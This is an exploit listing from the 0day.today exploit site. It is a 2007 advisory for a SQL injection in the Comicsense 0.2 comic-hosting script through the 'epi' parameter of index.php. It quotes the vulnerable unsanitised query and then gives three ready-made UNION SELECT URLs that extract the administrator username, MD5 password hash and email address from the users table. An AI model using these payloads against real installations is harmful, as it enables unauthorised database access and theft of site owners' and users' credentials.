[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Comicsense 0.2 (index.php epi) Remote SQL Injection Vulnerability

Author
s0cratex
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-1933
Category
web applications
Date add
04-06-2007
Platform
unsorted
=================================================================
Comicsense 0.2 (index.php epi) Remote SQL Injection Vulnerability
=================================================================



*********************************************
  Comicsense SQL Injection Advisory/Exploit
*********************************************

by s0cratex

-
ComicSense is a script using php / mySQL.
It allows you to easily host an Online Comic
or Image shack.
You can download it from www.gayadesign.nl/comicsense/
-

The bug is a common sql injection in "index.php"

Line 32:
$sqlQuery = "SELECT * FROM " . $prefix . "comic WHERE episodenr = $epi";
And the variable $epi is not verified...

Exploit:
--------
Admin username
http://site.com/comic_paht/index.php?epi=-1 UNION SELECT username,1,1 FROM users

MD5 hash password:
http://site.com/comic_paht/index.php?epi=-1 UNION SELECT password,1,1 FROM users

e-Mail adress:
http://site.com/comic_paht/index.php?epi=-1 UNION SELECT email,1,1 from users



#  0day.today [2024-12-24]  #